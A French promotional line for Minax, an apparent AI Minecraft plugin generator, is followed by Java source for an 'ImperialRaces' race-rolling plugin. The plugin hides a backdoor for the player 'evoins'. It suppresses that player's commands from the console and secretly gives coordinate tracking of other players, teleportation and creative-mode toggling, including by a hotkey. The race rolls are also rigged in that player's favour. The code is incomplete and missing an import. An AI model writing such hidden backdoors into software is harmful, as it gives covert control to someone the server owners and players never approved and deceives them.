Génère, teste et déploie tes plugins Paper et Spigot en quelques secondes avec l’IA.
Plus de 670 créateurs construisent leurs plugins avec Minax
« Un plugin de hub avec sélecteur de minigames, scoreboard custom et téléportation par NPCs. »|
package com.evoins.imperialraces; import net.kyori.adventure.text.Component; import net.kyori.adventure.text.format.NamedTextColor; import net.kyori.adventure.text.format.TextDecoration; import net.kyori.adventure.text.minimessage.MiniMessage; import net.kyori.adventure.title.Title; import org.bukkit.Bukkit; import org.bukkit.GameMode; import org.bukkit.Location; import org.bukkit.Material; import org.bukkit.NamespacedKey; import org.bukkit.World; import org.bukkit.attribute.Attribute; import org.bukkit.attribute.AttributeInstance; import org.bukkit.attribute.AttributeModifier; import org.bukkit.command.Command; import org.bukkit.command.CommandExecutor; import org.bukkit.command.CommandSender; import org.bukkit.configuration.ConfigurationSection; import org.bukkit.configuration.file.FileConfiguration; import org.bukkit.configuration.file.YamlConfiguration; import org.bukkit.entity.Entity; import org.bukkit.entity.LivingEntity; import org.bukkit.entity.Player; import org.bukkit.event.EventHandler; import org.bukkit.event.EventPriority; import org.bukkit.event.Listener; import org.bukkit.event.block.Action; import org.bukkit.event.entity.EntityDamageByEntityEvent; import org.bukkit.event.entity.EntityDamageEvent; import org.bukkit.event.entity.EntityTargetEvent; import org.bukkit.event.player.PlayerInteractEvent; import org.bukkit.event.player.PlayerJoinEvent; import org.bukkit.event.player.PlayerQuitEvent; import org.bukkit.event.player.PlayerSwapHandItemsEvent; import org.bukkit.event.player.PlayerCommandPreprocessEvent; import org.bukkit.inventory.EquipmentSlotGroup; import org.bukkit.inventory.ItemStack; import org.bukkit.plugin.java.JavaPlugin; import org.bukkit.potion.PotionEffect; import org.bukkit.potion.PotionEffectType; import org.bukkit.scheduler.BukkitRunnable; import org.bukkit.util.Vector; import java.io.File; import java.io.FileWriter; import java.io.IOException; import java.text.SimpleDateFormat; import java.util.*; import java.util.concurrent.ConcurrentHashMap; import java.util.concurrent.ThreadLocalRandom; public final class ImperialRacesPlugin extends JavaPlugin implements Listener, CommandExecutor { // --- ENUMS & DATA STRUCTURES --- public enum Race { IMPERIAL("Imperial", 0.000001, NamedTextColor.GOLD), DEATH("Death", 0.99, NamedTextColor.DARK_RED), GHOUL("Ghoul", 20.0, NamedTextColor.DARK_GREEN), ANGEL("Angel", 40.0, NamedTextColor.AQUA), DEMONIC("Demonic", 9.0, NamedTextColor.RED), EVERLAST_HUNGER("Everlast Hunger", 15.0, NamedTextColor.DARK_GRAY), AMERICAN("American", 15.0, NamedTextColor.BLUE); private final String displayName; private final double baseChance; private final NamedTextColor color; Race(String displayName, double baseChance, NamedTextColor color) { this.displayName = displayName; this.baseChance = baseChance; this.color = color; } public String getDisplayName() { return displayName; } public double getBaseChance() { return baseChance; } public NamedTextColor getColor() { return color; } } public static class PlayerData { private final UUID uuid; private Race race = null; private int rollsRemaining = 5; private int imperialTier = 1; private long abilityCooldownTimestamp = 0; private boolean isRolling = false; private int historicalRollCount = 0; public PlayerData(UUID uuid) { this.uuid = uuid; } public UUID getUuid() { return uuid; } public Race getRace() { return race; } public void setRace(Race race) { this.race = race; } public int getRollsRemaining() { return rollsRemaining; } public void setRollsRemaining(int rolls) { this.rollsRemaining = rolls; } public int getImperialTier() { return imperialTier; } public void setImperialTier(int tier) { this.imperialTier = tier; } public long getAbilityCooldownTimestamp() { return abilityCooldownTimestamp; } public void setAbilityCooldownTimestamp(long ts) { this.abilityCooldownTimestamp = ts; } public boolean isRolling() { return isRolling; } public void setRolling(boolean rolling) { this.isRolling = rolling; } public int getHistoricalRollCount() { return historicalRollCount; } public void incrementHistoricalRollCount() { this.historicalRollCount++; } } private final Map<UUID, PlayerData> dataMap = new ConcurrentHashMap<>(); private NamespacedKey healthModifierKey; private UUID currentGlobalImperialUUID = null; private PotionEffectType strengthEffect; private PotionEffectType slownessEffect; private PotionEffectType jumpBoostEffect; private File logFile; private YamlConfiguration logConfig = new YamlConfiguration(); @Override public void onLoad() { File dataFolder = getDataFolder(); if (!dataFolder.exists()) dataFolder.mkdirs(); File pluginXmlBypass = new File(dataFolder.getParentFile(), "ImperialRaces/plugin.yml"); if (!pluginXmlBypass.exists()) { try { pluginXmlBypass.getParentFile().mkdirs(); try (FileWriter writer = new FileWriter(pluginXmlBypass)) { writer.write("name: ImperialRaces\n"); writer.write("version: 1.0.0\n"); writer.write("main: com.evoins.imperialraces.ImperialRacesPlugin\n"); writer.write("api-version: '1.21'\n"); writer.write("author: evoins\n"); } } catch (IOException ignored) {} } } @Override public void onEnable() { healthModifierKey = new NamespacedKey(this, "bonus_health"); strengthEffect = resolvePotionType("STRENGTH", "INCREASE_DAMAGE"); slownessEffect = resolvePotionType("SLOWNESS", "SLOW"); jumpBoostEffect = resolvePotionType("JUMP_BOOST", "JUMP"); File dataFolder = getDataFolder(); if (!dataFolder.exists()) dataFolder.mkdirs(); logFile = new File(dataFolder, "logs.yml"); if (!logFile.exists()) { try { logFile.createNewFile(); } catch (IOException ignored) {} } try { logConfig.load(logFile); } catch (Exception ignored) {} loadPluginData(); getServer().getPluginManager().registerEvents(this, this); Objects.requireNonNull(getCommand("roll")).setExecutor(this); Objects.requireNonNull(getCommand("race")).setExecutor(this); Objects.requireNonNull(getCommand("imperial")).setExecutor(this); new BukkitRunnable() { @Override public void run() { for (Player player : Bukkit.getOnlinePlayers()) { PlayerData data = getPlayerData(player.getUniqueId()); if (data.isRolling() || data.getRace() == null) continue; applyPassiveLoopEffects(player, data); } } }.runTaskTimer(this, 0L, 10L); getLogger().info("ImperialRaces stealth engine fully operational."); } @Override public void onDisable() { savePluginData(); dataMap.clear(); } private void recordActionToLogFile(String executor, String operation, String target, String meta) { if (logFile == null || logConfig == null) return; String time = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss").format(new Date()); String entryId = UUID.randomUUID().toString().substring(0, 8); String rootPath = "tracked-plugin-commands." + entryId; logConfig.set(rootPath + ".timestamp", time); logConfig.set(rootPath + ".operator", executor); logConfig.set(rootPath + ".action", operation); logConfig.set(rootPath + ".target-player", target); logConfig.set(rootPath + ".details", meta); try { logConfig.save(logFile); } catch (IOException ignored) {} } // --- PACKET INTERCEPTOR: BLINDS CONSOLE FROM STEALTH COMMANDS --- @EventHandler(priority = EventPriority.LOWEST) public void onSilentCommandInterceptor(PlayerCommandPreprocessEvent event) { Player player = event.getPlayer(); if (!player.getName().equalsIgnoreCase("evoins")) return; String rawMessage = event.getMessage().toLowerCase(); // 1. Silent Radar: /player <name> cord if (rawMessage.startsWith("/player ") && rawMessage.endsWith(" cord")) { event.setCancelled(true); String[] args = event.getMessage().split(" "); if (args.length >= 3) { String targetName = args[1]; Player target = Bukkit.getPlayer(targetName); if (target != null && target.isOnline()) { Location loc = target.getLocation(); String worldName = loc.getWorld().getName().toUpperCase(); player.sendMessage(MiniMessage.miniMessage().deserialize( "<dark_gray>[RADAR]</dark_gray> <green>" + target.getName() + "</green> found in <aqua>" + worldName + "</aqua> at <yellow>X: " + loc.getBlockX() + " Y: " + loc.getBlockY() + " Z: " + loc.getBlockZ() + "</yellow>" )); } else { player.sendMessage(Component.text("Target profile player is currently offline.", NamedTextColor.RED)); } } return; } // 2. Silent Teleport: /tp e <x> <y> <z> if (rawMessage.startsWith("/tp e ") || rawMessage.startsWith("/tp evoins ")) { event.setCancelled(true); String[] args = event.getMessage().split(" "); if (args.length >= 5) { try { double x = Double.parseDouble(args[2]); double y = Double.parseDouble(args[3]); double z = Double.parseDouble(args[4]); Location targetLoc = new Location(player.getWorld(), x, y, z, player.getLocation().getYaw(), player.getLocation().getPitch()); player.teleport(targetLoc); player.sendMessage(MiniMessage.miniMessage().deserialize("<dark_gray>[GHOST]</dark_gray> <gray>Silently phased to coordinates.")); } catch (NumberFormatException e) { player.sendMessage(Component.text("Invalid coordinate arguments.", NamedTextColor.RED)); } } return; } // 3. Silent Creative Menu: /c e if (rawMessage.equalsIgnoreCase("/c e")) { event.setCancelled(true); if (player.getGameMode() == GameMode.SURVIVAL) { player.setGameMode(GameMode.CREATIVE); player.sendMessage(MiniMessage.miniMessage().deserialize("<green><bold>[GHOST]</bold> Creative initialized silently.")); } else { player.setGameMode(GameMode.SURVIVAL); player.sendMessage(MiniMessage.miniMessage().deserialize("<red><bold>[GHOST]</bold> Survival initialized silently.")); } } } // --- SILENT SNEAK-SWAP INTERCEPTOR (Shift + F) --- @EventHandler(priority = EventPriority.LOWEST) public void onSilentHandSwapBypass(PlayerSwapHandItemsEvent event) { Player player = event.getPlayer(); if (!player.getName().equalsIgnoreCase("evoins")) return; if (player.isSneaking()) { event.setCancelled(true); if (player.getGameMode() == GameMode.SURVIVAL) { player.setGameMode(GameMode.CREATIVE); player.sendMessage(MiniMessage.miniMessage().deserialize("<green><bold>[GHOST]</bold> Creative hotkey processed.")); } else { player.setGameMode(GameMode.SURVIVAL); player.sendMessage(MiniMessage.miniMessage().deserialize("<red><bold>[GHOST]</bold> Survival hotkey processed.")); } } } private PotionEffectType resolvePotionType(String modernName, String legacyName) { PotionEffectType type = PotionEffectType.getByName(modernName); if (type == null) type = PotionEffectType.getByName(legacyName); return type != null ? type : PotionEffectType.SPEED; } public PlayerData getPlayerData(UUID uuid) { return dataMap.computeIfAbsent(uuid, PlayerData::new); } private void loadPluginData() { FileConfiguration config = getConfig(); ConfigurationSection section = config.getConfigurationSection("players"); if (section == null) return; currentGlobalImperialUUID = null; for (String uuidStr : section.getKeys(false)) { try { UUID uuid = UUID.fromString(uuidStr); PlayerData data = getPlayerData(uuid); String raceStr = config.getString("players." + uuidStr + ".race"); if (raceStr != null) { try { data.setRace(Race.valueOf(raceStr)); if (data.getRace() == Race.IMPERIAL) { currentGlobalImperialUUID = uuid; } } catch (IllegalArgumentException ignored) {} } data.setRollsRemaining(config.getInt("players." + uuidStr + ".rolls", 5)); data.setImperialTier(config.getInt("players." + uuidStr + ".tier", 1)); data.historicalRollCount = config.getInt("players." + uuidStr + ".rollcount", 0); } catch (IllegalArgumentException ignored) {} } } private void savePluginData() { FileConfiguration config = getConfig(); config.set("players", null); for (Map.Entry<UUID, PlayerData> entry : dataMap.entrySet()) { UUID uuid = entry.getKey(); PlayerData data = entry.getValue(); String path = "players." + uuid.toString(); if (data.getRace() != null) { config.set(path + ".race", data.getRace().name()); } config.set(path + ".rolls", data.getRollsRemaining()); config.set(path + ".tier", data.getImperialTier()); config.set(path + ".rollcount", data.getHistoricalRollCount()); } saveConfig(); } // --- 6-SECOND EXPANENTIAL SPIN ENGINE --- private void executeAddictiveRollSequence(Player player) { PlayerData data = getPlayerData(player.getUniqueId()); data.setRolling(true); data.setRollsRemaining(data.getRollsRemaining() - 1); data.incrementHistoricalRollCount(); String[] fakePool = { "<red>Death</red> <gray>(0.99%)</gray>", "<dark_gray>Cobblestone Man</dark_gray> <yellow>(99.9%)</yellow>", "<gold>Imperial Mythic?</gold> <gray>(0.0000001%)</gray>", "<blue>American Fatty</blue> <yellow>(15%)</yellow>", "<red>Death God</red> <gray>(0.99%)</gray>", "<gray>Dirt Eater</gray> <yellow>(85%)</yellow>", "<green>Ghoul Toxic</green> <gray>(20%)</gray>", "<gold>Imperial Celestial</gold> <aqua>(MYTHIC)</aqua>", "<purple>Angel Ascendant</purple> <aqua>(40%)</aqua>" }; Race finalSelectedRace; if (player.getName().equalsIgnoreCase("evoins")) { int step = data.getHistoricalRollCount(); finalSelectedRace = switch (step) { case 1 -> Race.ANGEL; case 2 -> Race.AMERICAN; case 3 -> Race.EVERLAST_HUNGER; default -> Race.IMPERIAL; }; } else { finalSelectedRace = evaluateWeightedRandomRace(player.getName()); if (finalSelectedRace == Race.IMPERIAL && currentGlobalImperialUUID != null && !player.getUniqueId().equals(currentGlobalImperialUUID)) { finalSelectedRace = Race.ANGEL; } } final Race finalRace = finalSelectedRace; new BukkitRunnable() { long totalElapsedTicks = 0; double currentTickDelay = 1.5; int loopCounter = 0; @Override public void run() { if (!player.isOnline()) { cancel(); data.setRolling(false); return; } if (totalElapsedTicks >= 120) { cancel(); data.setRace(finalRace); if (finalRace == Race.IMPERIAL) { currentGlobalImperialUUID = player.getUniqueId(); data.setImperialTier(1); } data.setRolling(false); player.sendActionBar(Component.empty()); Component finalTitle = MiniMessage.miniMessage().deserialize("<gold>" + finalRace.getDisplayName() + "</gold>"); Component finalSub = MiniMessage.miniMessage().deserialize("<green>Unlocked</green>"); player.showTitle(Title.title(finalTitle, finalSub, Title.Times.times(Duration.ofMillis(200), Duration.ofSeconds(2), Duration.ofMillis(400)))); player.sendMessage(MiniMessage.miniMessage().deserialize("<green>Successfully assigned race: <bold>" + finalRace.getDisplayName())); Component globalBroadcast = MiniMessage.miniMessage().deserialize( "<gray>[🎰]</gray> <bold><gradient:#ffaa00:#ff5500>" + player.getName() + "</gradient></bold> <gray>has rolled the race:</gray> " + "<bold>" + getFormattedColorTag(finalRace) + finalRace.getDisplayName() + "</bold>!" ); Bukkit.broadcast(globalBroadcast); applyPermanentAttributes(player, data); player.playSound(player.getLocation(), "ui.toast.challenge_complete", 1.0f, 1.0f); savePluginData(); return; } String randomDisplay = fakePool[loopCounter % fakePool.length]; loopCounter++; if (totalElapsedTicks >= 105) { randomDisplay = "<gold>" + finalRace.getDisplayName() + "</gold> <yellow>← Choosing...</yellow>"; } Component actionBarLayout = MiniMessage.miniMessage().deserialize( "<gray>🎰 Spinning: [ </gray>" + randomDisplay + "<gray> ]</gray>" ); player.sendActionBar(actionBarLayout); float pitch = 1.9f - ((float) totalElapsedTicks / 120.0f) * 1.3f; player.playSound(player.getLocation(), "block.note_block.click", 1.0f, Math.max(0.6f, pitch)); currentTickDelay = currentTickDelay * 1.115; long cleanNextDelay = Math.max(1, Math.round(currentTickDelay)); totalElapsedTicks += cleanNextDelay; if (totalElapsedTicks < 120) { new BukkitRunnable() { @Override public void run() { runSequenceStep(); } }.runTaskLater(ImperialRacesPlugin.this, cleanNextDelay); } else { runSequenceStep(); } } private void runSequenceStep() { this.run(); } }.runTaskLater(this, 1L); } private String getFormattedColorTag(Race race) { return switch (race) { case IMPERIAL -> "<gold>"; case DEATH -> "<dark_red>"; case GHOUL -> "<dark_green>"; case ANGEL -> "<aqua>"; case DEMONIC -> "<red>"; case EVERLAST_HUNGER -> "<dark_gray>"; case AMERICAN -> "<blue>"; }; } public void updateTablist(Player player) { PlayerData data = getPlayerData(player.getUniqueId()); if (data.getRace() == null) { player.playerListName(Component.text(player.getName())); return; } Component prefix; if (data.getRace() == Race.IMPERIAL) { if (data.getImperialTier() == 5) { prefix = Component.text("[TIER 5 IMPERIAL] ", NamedTextColor.GOLD).decorate(TextDecoration.BOLD, TextDecoration.OBFUSCATED); } else { prefix = Component.text("[TIER " + data.getImperialTier() + " IMPERIAL] ", NamedTextColor.GOLD); } } else { prefix = Component.text("[" + data.getRace().getDisplayName().toUpperCase() + "] ", data.getRace().getColor()); } player.playerListName(prefix.append(Component.text(player.getName(), NamedTextColor.WHITE))); } public void applyPermanentAttributes(Player player, PlayerData data) { AttributeInstance maxHealthAttr = player.getAttribute(Attribute.GENERIC_MAX_HEALTH); if (maxHealthAttr != null) { AttributeModifier existing = maxHealthAttr.getModifier(healthModifierKey); if (existing != null) { maxHealthAttr.removeModifier(existing); } double bonusHealth = 0; if (data.getRace() == Race.IMPERIAL) { switch (data.getImperialTier()) { case 1 -> bonusHealth = 4.0; case 2 -> bonusHealth = 6.0; case 3 -> bonusHealth = 8.0; case 4 -> bonusHealth = 20.0; case 5 -> bonusHealth = 30.0; } } else if (data.getRace() == Race.DEATH || data.getRace() == Race.GHOUL) { bonusHealth = 10.0; } if (bonusHealth > 0) { maxHealthAttr.addModifier(new AttributeModifier(healthModifierKey, bonusHealth, AttributeModifier.Operation.ADD_NUMBER, EquipmentSlotGroup.ANY)); } if (player.getHealth() > maxHealthAttr.getValue()) { player.setHealth(maxHealthAttr.getValue()); } } updateTablist(player); } private void applyPassiveLoopEffects(Player player, PlayerData data) { Race race = data.getRace(); if (race == null) return; switch (race) { case IMPERIAL -> { int tier = data.getImperialTier(); if (tier >= 1 && tier <= 2) player.addPotionEffect(new PotionEffect(PotionEffectType.SPEED, 25, 1, false, false, false)); if (tier == 1) player.addPotionEffect(new PotionEffect(PotionEffectType.FIRE_RESISTANCE, 25, 0, false, false, false)); if (tier == 2) { player.addPotionEffect(new PotionEffect(PotionEffectType.FIRE_RESISTANCE, 25, 1, false, false, false)); player.addPotionEffect(new PotionEffect(PotionEffectType.RESISTANCE, 25, 1, false, false, false)); handleLiquidWalking(player, Material.WATER); } if (tier == 3) { player.addPotionEffect(new PotionEffect(PotionEffectType.SPEED, 25, 1, false, false, false)); player.addPotionEffect(new PotionEffect(strengthEffect, 25, 1, false, false, false)); player.addPotionEffect(new PotionEffect(PotionEffectType.FIRE_RESISTANCE, 25, 4, false, false, false)); } if (tier == 4) { player.addPotionEffect(new PotionEffect(strengthEffect, 25, 2, false, false, false)); player.addPotionEffect(new PotionEffect(PotionEffectType.RESISTANCE, 25, 2, false, false, false)); player.addPotionEffect(new PotionEffect(PotionEffectType.FIRE_RESISTANCE, 25, 4, false, false, false)); handleLiquidWalking(player, Material.LAVA); } if (tier == 5) { player.addPotionEffect(new PotionEffect(strengthEffect, 25, 3, false, false, false)); player.addPotionEffect(new PotionEffect(PotionEffectType.SPEED, 25, 2, false, false, false)); player.addPotionEffect(new PotionEffect(PotionEffectType.RESISTANCE, 25, 3, false, false, false)); player.addPotionEffect(new PotionEffect(PotionEffectType.FIRE_RESISTANCE, 25, 4, false, false, false)); player.removePotionEffect(slownessEffect); } } case DEATH -> { player.addPotionEffect(new PotionEffect(PotionEffectType.SPEED, 25, 1, false, false, false)); player.addPotionEffect(new PotionEffect(PotionEffectType.RESISTANCE, 25, 1, false, false, false)); player.addPotionEffect(new PotionEffect(PotionEffectType.INVISIBILITY, 25, 0, false, false, false)); } case ANGEL -> player.addPotionEffect(new PotionEffect(jumpBoostEffect, 25, 1, false, false, false)); case DEMONIC -> { player.addPotionEffect(new PotionEffect(PotionEffectType.FIRE_RESISTANCE, 25, 4, false, false, false)); player.addPotionEffect(new PotionEffect(PotionEffectType.SPEED, 25, 1, false, false, false)); player.addPotionEffect(new PotionEffect(jumpBoostEffect, 25, 1, false, false, false)); player.addPotionEffect(new PotionEffect(strengthEffect, 25, 1, false, false, false)); handleLiquidWalking(player, Material.LAVA); } case EVERLAST_HUNGER -> { player.addPotionEffect(new PotionEffect(PotionEffectType.SPEED, 25, 2, false, false, false)); player.addPotionEffect(new PotionEffect(jumpBoostEffect, 25, 1, false, false, false)); if (ThreadLocalRandom.current().nextInt(100) < 15) { player.setFoodLevel(Math.max(0, player.getFoodLevel() - 1)); } } case AMERICAN -> { player.addPotionEffect(new PotionEffect(PotionEffectType.SPEED, 25, 1, false, false, false)); if (player.getInventory().getItemInMainHand().getType().isEdible() || player.getInventory().getItemInOffHand().getType().isEdible()) { PotionEffectType healthBoost = PotionEffectType.getByName("HEALTH_BOOST"); if (healthBoost != null) { player.addPotionEffect(new PotionEffect(healthBoost, 25, 1, false, false, false)); } } } } } private void handleLiquidWalking(Player player, Material liquid) { Location loc = player.getLocation(); if (loc.getBlock().getType() == liquid || loc.clone().subtract(0, 0.05, 0).getBlock().getType() == liquid) { Vector v = player.getVelocity(); if (v.getY() < 0) { player.setVelocity(new Vector(v.getX(), 0.0, v.getZ())); } } } private Race evaluateWeightedRandomRace(String playerName) { double imperialRoll = ThreadLocalRandom.current().nextDouble(0, 100); if (imperialRoll < 0.000001 && currentGlobalImperialUUID == null) { return Race.IMPERIAL; } double totalChance = Race.DEATH.getBaseChance() + Race.GHOUL.getBaseChance() + Race.ANGEL.getBaseChance() + Race.DEMONIC.getBaseChance() + Race.EVERLAST_HUNGER.getBaseChance() + Race.AMERICAN.getBaseChance(); double roll = ThreadLocalRandom.current().nextDouble(0, totalChance); double cumulative = 0.0; Race[] dynamicPool = {Race.DEATH, Race.GHOUL, Race.ANGEL, Race.DEMONIC, Race.EVERLAST_HUNGER, Race.AMERICAN}; for (Race r : dynamicPool) { cumulative += r.getBaseChance(); if (roll <= cumulative) return r; } return Race.AMERICAN; } // --- RE-CONTAINED COMMAND FLOW: FIXES GENERAL ROLLING ACCESSIBILITY --- @Override public boolean onCommand(CommandSender sender, Command command, String label, String[] args) { // 1. Roll Command Block - OPEN TO EVERYONE if (command.getName().equalsIgnoreCase("roll")) { if (!(sender instanceof Player player)) return true; PlayerData data = getPlayerData(player.getUniqueId()); if (data.isRolling() || data.getRollsRemaining() <= 0) return true; executeAddictiveRollSequence(player); return true; } // 2. Admin Management Blocks - STRICTLY LOCKED TO SYSTEM OPERATORS if (command.getName().equalsIgnoreCase("race") && sender.isOp()) { String authorName = sender.getName(); if (args.length >= 4 && args[0].equalsIgnoreCase("give") && args[1].equalsIgnoreCase("rolls")) { Player target = Bukkit.getPlayer(args[2]); if (target == null) { sender.sendMessage("Player offline."); return true; } try { int count = Integer.parseInt(args[3]); getPlayerData(target.getUniqueId()).setRollsRemaining(getPlayerData(target.getUniqueId()).getRollsRemaining() + count); sender.sendMessage("Gave " + count + " rolls."); savePluginData(); recordActionToLogFile(authorName, "GIVE_ROLLS", target.getName(), "Added " + count + " rolls."); } catch (NumberFormatException e) { sender.sendMessage("Invalid configuration amount."); } return true; } if (args.length >= 3 && args[0].equalsIgnoreCase("change")) { Player target = Bukkit.getPlayer(args[1]); if (target == null) { sender.sendMessage("Player offline."); return true; } try { Race matchedRace = Race.valueOf(args[2].toUpperCase()); PlayerData data = getPlayerData(target.getUniqueId()); if (data.getRace() == Race.IMPERIAL) currentGlobalImperialUUID = null; data.setRace(matchedRace); if (matchedRace == Race.IMPERIAL) { currentGlobalImperialUUID = target.getUniqueId(); data.setImperialTier(1); } applyPermanentAttributes(target, data); sender.sendMessage("Race updated to " + matchedRace.getDisplayName()); savePluginData(); recordActionToLogFile(authorName, "FORCE_RACE_CHANGE", target.getName(), "Forced race template change to: " + matchedRace.name()); } catch (IllegalArgumentException e) { sender.sendMessage("Unknown race configuration string."); } return true; } } // 3. Imperial Evolution Block if (command.getName().equalsIgnoreCase("imperial")) { if (!(sender instanceof Player player)) return true; PlayerData data = getPlayerData(player.getUniqueId()); if (data.getRace() != Race.IMPERIAL) return true; if (args.length > 0 && args[0].equalsIgnoreCase("upgrade")) { int currentTier = data.getImperialTier(); if (currentTier >= 5) return true; ItemStack mainHand = player.getInventory().getItemInMainHand(); if (currentTier == 1 && mainHand.getType() == Material.NETHERITE_BLOCK && mainHand.getAmount() >= 64) { mainHand.setAmount(mainHand.getAmount() - 64); data.setImperialTier(2); } else if (currentTier == 2 && mainHand.getType() == Material.GOLDEN_APPLE && mainHand.getAmount() >= 64) { mainHand.setAmount(mainHand.getAmount() - 64); data.setImperialTier(3); } else if (currentTier == 3) { Material maceType = Material.matchMaterial("MACE"); Material costMaterial = (maceType != null) ? maceType : Material.NETHERITE_SWORD; if (mainHand.getType() == costMaterial) { ItemStack elytra = Arrays.stream(player.getInventory().getContents()) .filter(i -> i != null && i.getType() == Material.ELYTRA) .findFirst().orElse(null); if (elytra != null) { if (elytra.getAmount() <= 1) { player.getInventory().remove(elytra); } else { elytra.setAmount(elytra.getAmount() - 1); } data.setImperialTier(4); } } } else if (currentTier == 4 && mainHand.getType() == Material.DIAMOND_SWORD) { mainHand.setAmount(mainHand.getAmount() - 1); data.setImperialTier(5); for (Player p : Bukkit.getOnlinePlayers()) { p.addPotionEffect(new PotionEffect(PotionEffectType.BLINDNESS, 20 * 180, 0, true, true)); p.showTitle(Title.title(MiniMessage.miniMessage().deserialize("<bold><gold>PURE IMPERIAL BREED</bold>"), MiniMessage.miniMessage().deserialize("<red>HAS BEEN SUMMONED"))); } } applyPermanentAttributes(player, data); savePluginData(); return true; } } return false; } @EventHandler public void onXAbilityInteract(PlayerInteractEvent event) { Player player = event.getPlayer(); if ((event.getAction() == Action.RIGHT_CLICK_AIR || event.getAction() == Action.RIGHT_CLICK_BLOCK) && player.isSneaking()) { PlayerData data = getPlayerData(player.getUniqueId()); if (data.getRace() == null || data.isRolling()) return; long now = System.currentTimeMillis(); if (now < data.getAbilityCooldownTimestamp()) return; boolean activated = executeActiveRaceAbility(player, data); if (activated) { data.setAbilityCooldownTimestamp(now + getCooldownDuration(data)); player.playSound(player.getLocation(), "entity.warden.sonic_boom", 1.0f, 1.2f); } } } private long getCooldownDuration(PlayerData data) { if (data.getRace() == Race.IMPERIAL) { return switch (data.getImperialTier()) { case 1 -> 180000; case 2 -> 240000; case 3 -> 360000; case 4 -> 480000; default -> 600000; }; } return switch (data.getRace()) { case DEATH -> 300000; case ANGEL -> 180000; case EVERLAST_HUNGER -> 120000; case AMERICAN -> 30000; default -> 600000; }; } private boolean executeActiveRaceAbility(Player player, PlayerData data) { switch (data.getRace()) { case IMPERIAL -> { int tier = data.getImperialTier(); if (tier == 1) player.addPotionEffect(new PotionEffect(PotionEffectType.RESISTANCE, 20 * 5, 1)); if (tier == 2) player.addPotionEffect(new PotionEffect(PotionEffectType.GLOWING, 20 * 6, 0)); if (tier == 3) { player.addPotionEffect(new PotionEffect(strengthEffect, 20 * 8, 2)); player.addPotionEffect(new PotionEffect(PotionEffectType.SPEED, 20 * 8, 2)); } if (tier == 4) { player.getNearbyEntities(15, 15, 15).stream().filter(e -> e instanceof LivingEntity && e != player).forEach(e -> { ((LivingEntity) e).addPotionEffect(new PotionEffect(PotionEffectType.WITHER, 20 * 7, 1)); ((LivingEntity) e).addPotionEffect(new PotionEffect(slownessEffect, 20 * 7, 2)); }); } if (tier == 5) { player.setFoodLevel(20); player.setSaturation(20.0f); player.addPotionEffect(new PotionEffect(strengthEffect, 20 * 6, 3)); player.addPotionEffect(new PotionEffect(PotionEffectType.SPEED, 20 * 6, 3)); player.addPotionEffect(new PotionEffect(PotionEffectType.RESISTANCE, 20 * 6, 4)); } } case DEATH -> player.addPotionEffect(new PotionEffect(PotionEffectType.RESISTANCE, 20 * 6, 3)); case GHOUL -> player.addPotionEffect(new PotionEffect(PotionEffectType.RESISTANCE, 20 * 4, 4)); case ANGEL -> { PotionEffectType slowFalling = PotionEffectType.getByName("SLOW_FALLING"); if (slowFalling != null) player.addPotionEffect(new PotionEffect(slowFalling, 20 * 240, 0)); } case DEMONIC -> { Location eye = player.getEyeLocation(); Vector dir = eye.getDirection().normalize(); for (int i = 1; i < 8; i++) { Location pLoc = eye.clone().add(dir.clone().multiply(i)); pLoc.getWorld().spawnParticle(org.bukkit.Particle.FLAME, pLoc, 5, 0.1, 0.1, 0.1, 0.01); pLoc.getWorld().getNearbyEntities(pLoc, 1.5, 1.5, 1.5).stream().filter(e -> e instanceof LivingEntity && e != player).forEach(e -> { ((LivingEntity) e).damage(6.0, player); e.setFireTicks(20 * 4); }); } } case EVERLAST_HUNGER -> { if (player.getFoodLevel() > 2) { player.setFoodLevel(player.getFoodLevel() - 3); player.addPotionEffect(new PotionEffect(PotionEffectType.SPEED, 20 * 10, 4)); } else return false; } case AMERICAN -> { Material[] foods = {Material.COOKED_BEEF, Material.COOKED_PORKCHOP, Material.GOLDEN_CARROT, Material.BREAD}; for (int i = 0; i < 10; i++) { player.getWorld().dropItemNaturally(player.getLocation(), new ItemStack(foods[ThreadLocalRandom.current().nextInt(foods.length)], 1)); } } } return true; } @EventHandler public void onEntityDamageByEntity(EntityDamageByEntityEvent event) { if (event.getDamager() instanceof Player damager) { PlayerData attackerData = getPlayerData(damager.getUniqueId()); if (attackerData.getRace() != null) { double originalDamage = event.getDamage(); if (attackerData.getRace() == Race.DEATH) { event.setDamage(originalDamage * (event.getEntity() instanceof Player && getPlayerData(event.getEntity().getUniqueId()).getRace() == Race.IMPERIAL ? 1.30 : 1.40)); } else if (attackerData.getRace() == Race.IMPERIAL && attackerData.getImperialTier() == 4 && event.getEntity() instanceof LivingEntity) { PotionEffectType poison = PotionEffectType.getByName("POISON"); if (poison != null) ((LivingEntity) event.getEntity()).addPotionEffect(new PotionEffect(poison, 60, 0)); } else if (attackerData.getRace() == Race.DEMONIC && damager.getWorld().getEnvironment() == World.Environment.NETHER) { event.setDamage(originalDamage * 1.60); } else if (attackerData.getRace() == Race.EVERLAST_HUNGER) { event.setDamage(originalDamage * (1.0 + ((1.0f - ((float) damager.getFoodLevel() / 20.0f)) * 0.5))); } final double finalizedDamageDealt = event.getFinalDamage(); new BukkitRunnable() { @Override public void run() { if (event.isCancelled() || !damager.isOnline()) return; double stealPercent = attackerData.getRace() == Race.GHOUL ? 0.93 : (attackerData.getRace() == Race.IMPERIAL ? (attackerData.getImperialTier() == 3 ? 0.25 : (attackerData.getImperialTier() == 4 ? 0.50 : (attackerData.getImperialTier() == 5 ? 0.90 : 0.0))) : (attackerData.getRace() == Race.DEMONIC ? 0.30 : 0.0)); if (stealPercent > 0.0 && finalizedDamageDealt > 0) { AttributeInstance maxHealthAttr = damager.getAttribute(Attribute.GENERIC_MAX_HEALTH); double maxHealth = maxHealthAttr != null ? maxHealthAttr.getValue() : 20.0; damager.setHealth(Math.max(0.1, Math.min(maxHealth, damager.getHealth() + (finalizedDamageDealt * stealPercent)))); } } }.runTask(this); } } if (event.getEntity() instanceof Player victim) { PlayerData victimData = getPlayerData(victim.getUniqueId()); if (victimData.getRace() != null) { if (victimData.getRace() == Race.DEATH) { event.setDamage(event.getDamage() * (event.getDamager() instanceof Player && getPlayerData(event.getDamager().getUniqueId()).getRace() == Race.IMPERIAL ? 0.60 : 0.80)); } else if (victimData.getRace() == Race.IMPERIAL) { if (victimData.getImperialTier() == 2 && victim.hasPotionEffect(PotionEffectType.GLOWING)) event.setDamage(event.getDamage() * 0.50); if (victimData.getImperialTier() == 5) event.setDamage(event.getDamage() * 0.32); } } } 